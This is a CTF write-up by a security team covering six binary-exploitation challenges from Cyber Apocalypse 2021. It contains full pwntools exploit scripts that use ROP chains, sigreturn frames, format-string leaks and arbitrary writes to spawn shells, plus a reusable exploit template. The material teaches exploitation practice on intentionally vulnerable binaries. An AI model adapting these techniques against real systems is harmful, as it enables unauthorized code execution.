Cyber Apocalypse 2021 1/5 - PWN challenges
Thalium participated in the Cyber Apocalypse 2021 CTF organized last week by HackTheBox. It was a great success with 4,740 teams composed of around 10,000 hackers from all over the world. Our team finished in fifth place and solved sixty out of the sixty-two challenges:
This article explains how we solved each pwn challenge and what tools we used, it is written to be accessible to beginners:
We also explain how we solved a misc challenge that could have been in the pwn category:
We also publish our solutions to some challenges in other categories:
- Wii-Phit: crypto, solved by 38 teams
- Off-the-grid: hardware, solved by 99 teams
- Discovery: hardware, solved by 17 teams
- Artillery: web, solved by 45 teams
Tooling
For tooling we used:
IDA for binary analysis;
ROPGadget to find gadgets and help to build ROP chains;
OneGadget to find libc addresses that give a shell;
a custom pwntools template (available in the appendix) that eases the following actions:
- Communicating with the target process (local or remote for flag!);
- Launching debugger with breakpoints automatically set ;
- Easily retrieving information such as function offset or symbols offset inside libraries and binaries;
- Executing the target process with a specific libc and a specific dynamic linker.
Each challenge implements a specific communication scheme, thus, we have to adapt the content of the exploit
function of the template to correctly interact with the binary, and leverage its vulnerabilities to retrieve the flag. To run the local binary without debugger the script must be used as follows:
python script.py ./my_binary
To run the program with a debugger attached:
python script.py ./my_binary -d
The most important thing is to run the binary with the target versions of dynamic linker and c runtime library. To ensure this:
- Download the ld binary provided
- Copy the ld binary inside your library path and rename it
ld-2.27.so
- Copy the libc provided by the challenge and rename it
libc-2.27.so
- Run the script whith the following parameters
python script.py ./my_binary -libc 2.27
The version of library can be changed if needed but this is the version used for all pwn challenges - and misc close_the_door - during this ctf.
Finally, to use the exploit against the remote infrastructure:
python script.py ./environment -libc 2.27 -r [IP] [PORT]
Controller - Difficulty 1/4
Challenge files: pwn_controller.zip
Controller
is a 64 bits ELF, which asks the user to choose a simple arithmetic operation and enter two operands. Numbers provided cannot be greater than 69.
Attack method
We notice an interesting function, calculator
:
__int64 __fastcall calculator(__int64 a1)
{
__int64 result; // rax
char buff[28]; // [rsp+0h] [rbp-20h] BYREF
int calc_value; // [rsp+1Ch] [rbp-4h]
calc_value = calc();
if ( calc_value != 65338 )
return calculator(a1);
printstr("Something odd happened!\nDo you want to report the problem?\n> ");
__isoc99_scanf("%s", buff);
[...]
}
If the operation result is 65338, we may access a juicy scanf that will overflow the stack buffer buff
.
Found a way to access to the scanf
We notice that the calculation is done with signed int but the result is stored inside an unsigned int into the function calc
. After a few tries we found that 66 * -3
results in the target value.
Exploit the stack overflow with scanf
Now we can access the scanf and overflow the stack. Protections are as follows:
[*] 'controller'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
No PIE and No canary found: we will build a ropchain. There is no magic / hidden function inside the binary, so we use one_gadget
to list available automatic shell gadgets and their constraints:
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
A new problem arises. We have only one scanf to send our payload to leak the libc base address and jump to the one gadget. The solution here is to call again scanf with the ROP payload, to calculate the one gadget address and put it somewhere into the binary. The ROP payload will then call this address.
Exploitation
This is how we perform the three steps explained before.
1. Leak the libc address
We use the puts
function present inside controller
to leak the libc address of the printf
function.
Using ROPGadget we found the following one to set the put parameter in place:
0x00000000004011d3 : pop rdi ; ret
So the ROP part for this section is:
gadget_pop_rdi = 0x4011d3
# Set parameters before call puts
ropchain += p64(gadget_pop_rdi) + p64(elf.got['printf'])
# Call puts
ropchain += p64(elf.plt['puts'])
2. Recall scanf after the leak
We must pass two parameters to scanf
. The first one is the format, and the second one is the address of the destination buffer that will be filled by scanf
according to the format string.
We used the format string %s
present inside the controller binary:
.rodata:00000000004013E6 aS db '%s',0
We choose a writable memory address to be filled with the one gadget addr: 0x602100
. We load this address into rsi
with the new gadget:
0x00000000004011d1 : pop rsi ; pop r15 ; ret
There is still a problem. If the stack is not aligned during the scanf
call, a crash happens because scanf
uses xmm registers. Aligning the stack is not terribly difficult, one simply has to add a useless ret
, which subtracts eight bytes from rsp
before calling scanf
:
0x0000000000400606 : ret
The ROP part for this section is:
gadget_pop_rsi_r15 = 0x4011d1
gadget_ret = 0x400606
format_string_s = 0x4013E6
target_addr = 0x602100
# Set parameters before call scanf
ropchain += p64(gadget_pop_rdi) + p64(format_string_s)
ropchain += p64(gadget_pop_rsi_r15) + p64(target_addr) + p64(0)
# Realign the stack to 0x10
ropchain += p64(gadget_ret)
# Call scanf
ropchain += p64(elf.plt['__isoc99_scanf'])
3. Call the one gadget
The following gadget allow to do an indirect call:
0x00000000004011b0: mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+8*rbx]
We must master registers r12 and rbx to call the one gadget function. The last gadget allow us to do that:
0x00000000004011ca: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
The ROP part for this section is:
gadget_pop_rbx_ = 0x4011ca
gadget_indirect_call = 0x4011b0
# Set value to registers
rbx = 0x0
ropchain += p64(gadget_pop_rbx_) + p64(rbx) + p64(0) + p64(target_addr) + 3*p64(0)
# Call the one gadget !
ropchain += p64(gadget_indirect_call)
4. Put it all together
This is the final payload to exploit this binary used with the base script:
import time
from struct import unpack
def get_ropchain(elf):
ropchain = b'A'*32
ropchain += p64(0xdeadbeef) # rbp
# -> Now we are on RIP position
# 1. Leak the libc address
gadget_pop_rdi = 0x4011d3
# Set parameters before call puts
ropchain += p64(gadget_pop_rdi) + p64(elf.got['printf'])
# Call puts
ropchain += p64(elf.plt['puts'])
# 2. Recall scanf after the leak
gadget_pop_rsi_r15 = 0x4011d1
gadget_ret = 0x400606
format_string_s = 0x4013E6
target_addr = 0x602100
# Set parameters before call scanf
ropchain += p64(gadget_pop_rdi) + p64(format_string_s)
ropchain += p64(gadget_pop_rsi_r15) + p64(target_addr) + p64(0)
# Realign the stack to 0x10
ropchain += p64(gadget_ret)
# Call scanf
ropchain += p64(elf.plt['__isoc99_scanf'])
# 3. Call the one gadget
gadget_pop_rbx_ = 0x4011ca
gadget_indirect_call = 0x4011b0
# Set value to registers
rbx = 0x0
ropchain += p64(gadget_pop_rbx_) + p64(rbx) + p64(0) + p64(target_addr) + 3*p64(0)
# Call the one gadget !
ropchain += p64(gadget_indirect_call)
# Set 0 to match one gadget condition
ropchain += p64(0)*256
return ropchain
def exploit(p, elf, libc):
# Access to scanf after the good calculation
p.recvuntil(b'of recources: ')
p.sendline('66 -3')
p.recvuntil(b'> ')
p.sendline('3')
# Now we can trigger scanf
p.recvuntil(b'problem?\n> ')
# Create ROP chain
ropchain = get_ropchain(elf)
# Send ROP chain
p.sendline(ropchain)
# Read data to get printf addr inside libc
time.sleep(4.0) # wait before puts execute
data = p.recv()
elms = data.split(b'\n')
x = elms[1]
assert(len(x) < 8)
while len(x) < 8:
x += b'\x00'
leak = unpack('Q', x)[0]
print('leak printf@0x%x' % leak)
libc_base = leak - libc.symbols['printf']
print('leak libc@0x%x' % libc_base)
# Send one gadget inside the new scanf call
one_gadget = libc_base + 0x4f432
print('one_gadget @0x%x' % one_gadget)
p.sendline(p64(one_gadget))
# Enjoy the shell !
p.interactive()
We get a shell :):
Minefield - Difficulty 1/4
Challenge files: pwn_mindfield.zip
Minefield
is a 64 bits ELF that asks questions to the user to plant a mine:
Attack method
This challenge is a very basic one. The inputs type and location allow to write something at a controlled address:
printf("Insert type of mine: ");
r(nptr);
target_addr = (_QWORD *)strtoull(nptr, 0LL, 0);
printf("Insert location to plant: ");
r(target_value);
puts("We need to get out of here as soon as possible. Run!");
*target_addr = strtoull(target_value, 0LL, 0);
We do not have the libc for this challenge but we have a win function named _
at address 0x40096B
v0 = strlen("\nMission accomplished! ✔\n");
write(1, "\nMission accomplished! ✔\n", v0);
system("cat flag*");
Note that the same write-what-where vulnerability is used in the challenge Save the environment.
Exploitation
Protections are as follow:
[*] 'minefield'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
The binary is not PIE so ALSR is not a problem here. A leak is not needed to exploit this binary.
We have all elements but it remains to know what to overwrite to win. We choose to overwrite the function pointer present in the .fini_array
section. This function pointer is called at the end of the execution. This pointer is at address 0x601078
.
Finally the exploit is really simple:
System dROP - Difficulty 1/4
Challenge files: pwn_system_drop.zip
[*] '/home/user/Apocalypse/system-drop/system_drop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
No PIE
and No canary found
suggest a stack overflow. However the binary is very small.
The vulnerability
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
alarm(0xFu);
read(0, buf, 0x100uLL);
return 1;
}
A stack overflow, clear and simple.
Attack method
However, the binary is small and does not have any leak-friendly function.
.text:0000000000400537 ; =============== S U B R O U T I N E ==================
.text:0000000000400537
.text:0000000000400537 ; Attributes: bp-based frame
.text:0000000000400537
.text:0000000000400537 ; __int64 syscall(__int64 sysno, ...)
.text:0000000000400537 public _syscall
.text:0000000000400537 _syscall proc near
.text:0000000000400537 ; __unwind {
.text:0000000000400537 push rbp
.text:0000000000400538 mov rbp, rsp
.text:000000000040053B syscall ; LINUX -
.text:000000000040053D retn
.text:000000000040053D _syscall endp ; sp-analysis failed
.text:000000000040053D
.text:000000000040053D ; -------------------------------------------------------
.text:000000000040053E db 90h
.text:000000000040053F ; -------------------------------------------------------
.text:000000000040053F pop rbp
.text:0000000000400540 retn
.text:0000000000400540 ; } // starts at 400537
.text:0000000000400541
.text:0000000000400541 ; =============== S U B R O U T I N E ===================
.text:0000000000400541
.text:0000000000400541 ; Attributes: bp-based frame
.text:0000000000400541
.text:0000000000400541 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400541 public main
.text:0000000000400541 main proc near
.text:0000000000400541
.text:0000000000400541 buf = byte ptr -20h
.text:0000000000400541
.text:0000000000400541 ; __unwind {
.text:0000000000400541 push rbp
.text:0000000000400542 mov rbp, rsp
.text:0000000000400545 sub rsp, 20h
.text:0000000000400549 mov edi, 0Fh ; seconds
.text:000000000040054E call _alarm
.text:0000000000400553 lea rax, [rbp+buf]
.text:0000000000400557 mov edx, 100h ; nbytes
.text:000000000040055C mov rsi, rax ; buf
.text:000000000040055F mov edi, 0 ; fd
.text:0000000000400564 call _read
.text:0000000000400569 mov eax, 1
.text:000000000040056E leave
.text:000000000040056F retn
.text:000000000040056F ; } // starts at 400541
.text:000000000040056F main endp
The function at 0x400537
is a gift ! We have a raw syscall instruction. However, to have control over the syscall, we first need to control rax
, and no gadget allows us to control rax
trivially, apart from 0x400569
which allows to set eax=1
.
sigreturn
is a nice system call in this case, which will read cpu context from the stack, consequently allowing us to control all the registers. The syscall number associated with it is 0xf
. So we are looking at setting eax=0xf
.
Reading the alarm manpage is rather interesting:
ALARM(2) Linux Programmer's Manual ALARM(2)
NAME
alarm - set an alarm clock for delivery of a signal
...
RETURN VALUE
alarm() returns the number of seconds remaining until any previously
scheduled alarm was due to be delivered, or zero if there was no previ‐
ously scheduled alarm.
...
For this challenge, calling alarm()
will set the alarm to fire later, and a nice side-effect, will also set eax
to the remaining number of seconds until the scheduled alarm fires. Thus calling alarm()
sets eax=0xf
, which is what we wanted.
We will go for a sigreturn
, and cook the stack for it to work correctly:
from pwn import SigreturnFrame, constants
def exploit(p, elf, libc):
stack_base = 0x601800
ropchain = b''
ropchain += b'A'*32
ropchain += p64(stack_base) # rbp
# 0x00000000004005d1 : pop rsi ; pop r15 ; ret
gadget_pop_rsi_r15 = 0x4005d1
ropchain += p64(gadget_pop_rsi_r15) + p64(stack_base) + p64(0)
# 0x0000000000400564 : call read
call_read = 0x400564
ropchain += p64(call_read) + p64(stack_base)
# Pad for reach end of first read
while len(ropchain) < 256:
ropchain += b'Z'
assert(len(ropchain) == 256)
# Send cmd into the stack with read
# just before addr used to continue the ROP
ropchain += b'/bin/sh\x00'
# Rop continuation
syscall_inst = 0x40053b
ropchain += p64(elf.plt['alarm'])
ropchain += p64(syscall_inst)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack_base
frame.rsi = 0
frame.rdx = 0
frame.r8 = 0
frame.rsp = 0x601000
frame.rip = syscall_inst
ropchain += bytes(frame)
p.send(ropchain)
p.interactive()
The magic shell is coming:
Harvester - Difficulty 2/4
Challenge files: pwn_harvester.zip
The harvester
is a 64bits ELF that allows to perform some actions:
The libc used by the binary is provided with this challenge.
Attack method
Protections are as follow:
[*] 'harvester'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Harvest information required to bypass ASLR and stack cookie
We will use the format string vulnerability in fight
:
printstr("\nChoose weapon:\n");
printstr("\n[1] 🗡\t\t[2] 💣\n[3] 🏹\t\t[4] 🔫\n> ");
read(0, weapon, 5uLL);
printstr("\nYour choice is: ");
printf((char *)weapon);
%3$p
: will leak a libc address, thereby bypassing libc ASLR%15$p
: will leak the stack cookie, thereby bypassing stack protection
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(b'%3$p')
data = p.recvuntil(b'> ')
m = re.search(b'Your choice is: (0x[a-fA-F0-9]+)\n', data)
assert(m)
libc_leak = int(m.group(1), 0)
libc_base = libc_leak - 0xe4774
assert((libc_base & 0xfff) == 0)
p.sendline(b'1')
data = p.recvuntil(b'> ')
p.sendline(b'%15$p')
data = p.recvuntil(b'> ')
m = re.search(b'Your choice is: (0x[a-fA-F0-9]+00)', data)
assert(m)
cookie = int(m.group(1), 0)
Stack overflow
There is a stack overflow in stare
, however, to trigger it we need to have 22 pies:
// stare
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
[...]
printstr("\n[+] You found 1 \u1F967!\n");
if ( ++pie == 22 )
{
printf("\x1B[1;32m");
printstr("\nYou also notice that if the Harvester eats too many pies, it falls asleep.");
printstr("\nDo you want to feed it?\n> ");
read(0, buf, 0x40uLL); // Overflow !
printf("\x1B[1;31m");
printstr("\nThis did not work as planned..\n");
}
We do have a way to increment pies one by one using stare
, but then the program will stop when reaching 16 pies:
void check_pie(int pie)
{
[...]
printf("\x1B[1;31m");
if ( pie <= 0 )
{
printstr(&unk_1090);
exit(1);
}
if ( pie > 100 || pie == 15 )
{
printstr(&unk_10A4);
exit(1);
}
}
Once this requirement will be satisfied, everything will be ready to make an effective stack overflow, as we have libc addresses and the stack cookie.
Stealing pies
The last function to use is inventory
, which we can use to leave items from our stuff. However, we can specify a negative integer, which will cause the inventory to be incremented, and not decremented as planned.
printstr("\nHow many do you want to drop?\n> ");
__isoc99_scanf("%d", &v1);
pie -= v1;
The exploit code:
p.sendline(b'2')
p.recvuntil(b'> ')
p.sendline(b'y')
p.recvuntil(b'> ')
p.sendline(b'-11')
p.recvuntil(b'> ')
On the next call to stare
, the count of pies will reach 22, which will trigger the stack overflow.
Exploitation
The last step is to find a one_gadget that works with our constraints, and build the stack payload to overwrite the legitimate stack and gain a shell:
p.sendline(b'3')
p.recvuntil(b'> ')
ropchain = b''
one_gadget = 0x4f3d5
ropchain += flat({
40: p64(cookie),
56: p64(libc_base + one_gadget),
}, length=64, filler=cyclic(64, n=8))
p.send(ropchain)
p.interactive()
Put it all together:
from pwn import flat, cyclic
def exploit(p, elf, libc):
# 1. Leak ASLR and stack cookie with format string in fight
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(b'%3$p')
data = p.recvuntil(b'> ')
m = re.search(b'Your choice is: (0x[a-fA-F0-9]+)\n', data)
assert(m)
libc_leak = int(m.group(1), 0)
libc_base = libc_leak - 0xe4774
assert((libc_base & 0xfff) == 0)
p.sendline(b'1')
data = p.recvuntil(b'> ')
p.sendline(b'%15$p')
data = p.recvuntil(b'> ')
m = re.search(b'Your choice is: (0x[a-fA-F0-9]+00)', data)
assert(m)
cookie = int(m.group(1), 0)
print("Libc base: %x" % libc_base)
print("Cookie: %x" % cookie)
# 2. Stealing pies with inventory function
p.sendline(b'2')
p.recvuntil(b'> ')
p.sendline(b'y')
p.recvuntil(b'> ')
p.sendline(b'-11')
p.recvuntil(b'> ')
# 3. Exploitation
p.sendline(b'3')
p.recvuntil(b'> ')
ropchain = b''
one_gadget = 0x4f3d5
ropchain += flat({
40: p64(cookie),
56: p64(libc_base + one_gadget),
}, length=64, filler=cyclic(64, n=8))
p.send(ropchain)
p.interactive()
Save the environment - Difficulty 2/4
Challenge files: pwn_save_the_environment.zip
The environment
binary is an 64bits ELF that allows to plant or recycle.
Rapidly we view that the challenge is to exploit the binary and not to find bugs. Indeed the vulnerabilities are trivially discovered:
- A leak to
printf
inside the functionrecycle->form
after 5 reclycle command
color("You have already recycled at least 5 times! Please accept this gift: ", "magenta");
printf("[%p]\n", &printf);
- An arbitrary read inside the function
recycle->form
after 10 reclycle command
color("You have recycled 10 times! Feel free to ask me whatever you want.\n> ", "cyan");
read(0, nptr, 0x10uLL);
s = (char *)strtoull(nptr, 0LL, 0);
puts(s);
- An arbitrary write inside the function
plant
, as already used in minefield
printf("> ");
read(0, buff, 0x10uLL);
target_addr = (_QWORD *)strtoull(buff, 0LL, 0);
putchar(10);
color("Where do you want to plant?\n1. City\n2. Forest\n", "green");
printf("> ");
read(0, value, 0x10uLL);
puts("Thanks a lot for your contribution!");
*target_addr = strtoull(target_value, 0LL, 0);
- A win function
hidden_resources
at address0x4010B5
to read the flag- There is no need to get a shell
The libc used by the binary is provided with this challenge.
Attack method
The difficult part here is to get control of RIP.
Protections are as follow:
[*] 'environment'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
The binary is not PIE so we can simply use addresses without leaking the base address of the binary.
We first try to overwrite hooks such __malloc_hook
or __free_hook
inside libc but it is impossible to trigger a malloc or a free so overwrite these variables has no effect. Another attempt we made is to overwrite the function pointers in .fini_array
section but this location is read only this time.
We then wanted to leak a stack address to overwrite a saved return address but how to find a saved return address at a predictible location ? The answer comes from the name of the challenge (and this article): the environ variable inside the libc ! Good thing we have a printf
leak to get the libc base address and calculate the address of environ variable !
Perfect ! We have all the elements to exploit this binary.
Exploitation
The final exploitation is:
def exploit(p, elf, libc):
printf_offset = libc.symbols['printf']
environ_offset = libc.symbols["environ"]
# Trigger printf leak by recycling
for i in range(0,6):
p.recvuntil(b'> ')
p.sendline('2')
p.recvuntil(b'> ')
p.sendline('1')
p.recvuntil(b'> ')
p.sendline('n')
# Read printf leak by recycling
data = p.recvuntil(b'> ')
pattern = 'his gift: .+\[(0x[0-9a-f]+)\]'
result = re.search(pattern, str(data))
if not result:
print("FAIL")
exit(1)
leak_printf = int(result[1], 16)
print("Leak printf: %x - Printf offset: %x" % (leak_printf, printf_offset))
libc_base = leak_printf - printf_offset
print("Libc base: %x" % libc_base)
print("Environ read addr %x" % (environ_offset + libc_base))
# Trigger environ leak by recycling
for i in range(6, 10):
p.sendline("2")
p.recvuntil(b"> ")
p.sendline("1")
p.recvuntil(b"> ")
p.sendline("n")
p.recvuntil(b"> ")
toSend = hex(environ_offset + libc_base)
p.sendline(toSend)
environ_leak = u64(p.recvuntil(b"> ").split(b"\n")[0][-6:] + b"\x00\x00")
print("Environ value: %x" % environ_leak)
fct_hidden_resources = 0x4010B5
target = environ_leak - 280 # 280 with dbg #288 into the remote
# Use plant functionnality to overwrite function return
p.sendline("1")
p.recvuntil(b"> ")
p.sendline("0x%08x" % target)
p.recvuntil(b"> ")
p.sendline("0x%08x" % fct_hidden_resources)
p.interactive()
The exploit result:
Close the door - Difficulty 2/4
Challenge files: misc_close_the_door.zip
Close the door
is a 64 bits ELF:
The libc used by the binary is provided with this challenge.
Attack method
Protections are as follow:
[*] 'close_the_door'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
No PIE and No canary found, looks like a stack overflow !
hidden_function
holds the vulnerable part, with a clean stack overflow:
__int64 buf[4]; // [rsp+10h] [rbp-40h] BYREF
int v3; // [rsp+30h] [rbp-20h]
int v4; // [rsp+34h] [rbp-1Ch]
char *v5; // [rsp+38h] [rbp-18h]
int v6; // [rsp+44h] [rbp-Ch]
char *s; // [rsp+48h] [rbp-8h]
[...]
s = "Do you think this is the secret password?\n> ";
v6 = strlen("Do you think this is the secret password?\n> ");
v5 = "At least we tried...\n";
v4 = strlen("At least we tried...\n");
[...]
write(1, "Do you think this is the secret password?\n> ", v6);
read(0, buf, 0x464uLL); // Stack overflow !
write(1, v5, v4);
However, when overwriting the stack, one has to be cautious not to screw arguments used to perform the write just after:
strace ./close_the_door
read(0, 42
"4", 1) = 1
read(0, "2", 1) = 1
read(0, "\n", 1) = 1
write(1, "You found something interesting!"..., 33You found something interesting!
) = 33
write(1, "Do you think this is the secret "..., 44Do you think this is the secret password?
> ) = 44
read(0, XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"..., 1124) = 41
write(1, "SA\211\375I\211\366L)\345H\203\354\10H\301\375\3\350\17\373\377\377H\205\355t 1\333\17\37"..., 1482184792) = -1 EFAULT (Bad address)
Both second and third arguments were overwritten by our X
s slide, making the length goes wild, and pointing to an unexpected - yet valid - memory area.
Exploit
We will turn it into our advantage: we can give to the write
function crafted arguments to leak us a libc address. Subsequent read
allows us to inject the computed address of the one-gadget to get a shell.
Our selection for leaking libc address is the GOT entry of alarm:
from pwn import flat, p32
from struct import unpack
def exploit(p, elf, libc):
p.recvuntil(b'> ')
p.sendline(b'yolo')
# Select 42 to access to hidden function
p.recvuntil(b'> ')
p.sendline('42')
p.recvuntil(b'> ')
# 0x8 -> read 8 bytes (rdx value)
ropchain = flat({
36: p32(0x8), 40: p64(elf.got['alarm']),
}, length=72)
# 0x0000000000400b53 : pop rdi ; ret
gadget_pop_rdi = 0x400b53
# 0x0000000000400b51 : pop rsi ; pop r15 ; ret
gadget_pop_rsi_r15 = 0x400b51
target_addr = 0x602020
ropchain += p64(gadget_pop_rdi) + p64(0)
ropchain += p64(gadget_pop_rsi_r15) + p64(target_addr) + p64(0)
ropchain += p64(elf.plt['read'])
# libc_csu_init
# 0x0000000000400b4a : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
gadget_many_pop = 0x400b4a
#0x0000000000400b30: mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+8*rbx]
gadget_indirect_call = 0x400b30
ropchain += p64(gadget_many_pop) + 2*p64(0)+p64(target_addr)+3*p64(0)
ropchain += p64(gadget_indirect_call)
ropchain += 64*p64(0)
p.send(ropchain)
# Read libc alarm address
data = p.recv(8)
assert(len(data) == 0x8)
libc_base = unpack('Q', data)[0] - libc.symbols['alarm']
one_gadget = libc_base + 0x4f432
p.send(p64(one_gadget))
p.interactive()
We have a shell:
Conclusion
These pwn challenges were fun but not that complicated, at least a good start for beginners to practice linux exploitation.
The Thalium team would like to thank the organizers for this exciting and well-balanced CTF.
Appendix
Template script for exploitation based on pwntools
Here is the script we used. If we ever improve it, we may publish it on our CTF repository on github.
from pwn import gdb, context, log, ELF, remote, process, p64, u64
from os import listdir, path
import sys
# Specify the default path of library (use ldd on a binary if needed)
PATH_LIBS = "/usr/lib64/"
def set_context32():
context.arch = "i386" # amd64
context.bits = 32
context.endian = "little"
context.os = "linux"
context.log_level = "info"
context.terminal = ["gnome-terminal", "-x", "bash", "-c"]
def set_context64():
context.arch = "amd64" # amd64
context.bits = 64
context.endian = "little"
context.os = "linux"
context.log_level = "info"
context.terminal = ["gnome-terminal", "-x", "bash", "-c"]
class Mode:
DEBUG = "-d"
REMOTE = "-r"
LIBC = "-libc"
def usage():
print("Usage in default mode: ./path_to_bin/bin")
print("Usage in debug mode: -d ./path_to_bin/bin")
print(
"Usage with custom libc: -libc VERSION\nLibc must be in %s\nYou can check https://github.com/niklasb/libc-database to find libc binaries.\nYou can check https://github.com/skysider/pwndocker to find how to run with other custom libraries"
% PATH_LIBS
)
print(
"Usage in remote mode: -r host port ./path_to_bin/bin (*./path_to_libc/libc <- optional)"
)
exit()
def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid), "rb").readlines()
for line in memory_map:
if sys.argv[1][2:].encode() in line.split(b"-")[-1]:
return int(line.split(b"-")[0], 16)
else:
return 0
def add_bps(r, bps, elf):
script = "continue\n"
script = ""
if elf.pie:
PIE = get_PIE(r)
else:
PIE = 0
for x in bps:
script += "b *0x%x\n" % (PIE + x)
return script
def debug(r, bps, elf):
script = (
"set verbose on\n" # set debug-file-directory /home/user/libs/glibc-2.27/debug
)
script += add_bps(r, bps, elf)
print(script)
gdb.attach(r, gdbscript=script)
def myExit(msg):
log.warning(msg)
exit()
def main():
if len(sys.argv) < 2:
usage()
binary = sys.argv[1]
try:
elf = ELF(binary)
except:
myExit("Problem with binary path " + binary)
ldPath = None
libc = None
libcPath = None
DEBUG = False
REMOTE = False
env = {}
i = 2
while i < len(sys.argv):
opt = sys.argv[i]
if opt == Mode.DEBUG:
log.debug("Enable gdb mode")
DEBUG = True
i += 1
elif opt == Mode.REMOTE:
try:
host = sys.argv[i + 1]
port = sys.argv[i + 2]
except:
myExit("Problem with -r HOST PORT")
log.debug("Enable remote connection to ", host, port)
REMOTE = True
i += 3
elif opt == Mode.LIBC:
try:
libcVersion = sys.argv[i + 1]
except:
myExit("Problem with -l PathToLibC")
log.debug("Set Library version to", libcVersion)
# PATH_CUSTOM_GLIBC = PATH_GLIBC % libcVersion
for file in listdir(PATH_LIBS):
if file.startswith("ld") and libcVersion in file:
ldPath = path.join(PATH_LIBS, file)
if file.startswith("libc") and libcVersion in file:
libcPath = path.join(PATH_LIBS, file)
# libcPath = "/lib/x86_64-linux-gnu/libc-2.27.so"
env = {"LD_PRELOAD": libcPath}
libc = ELF(libcPath)
i += 2
else:
myExit("Unknown option only -d -l -ld -r")
if not libc:
libc = elf.libc
if REMOTE:
r = remote(host, int(port))
else:
if ldPath is None:
r = process(binary, env=env)
else:
r = process([ldPath, binary], env=env)
if DEBUG:
# Example
# bp = [elf.sym["malloc"]]
# bp = ["malloc"]
debug(r, bp, elf)
exploit(r, elf, libc)
def exploit(p, elf, libc):
# Filled this function
p.interactive()
if __name__ == "__main__":
# Select context 32 or 64 bits
set_context64()
main()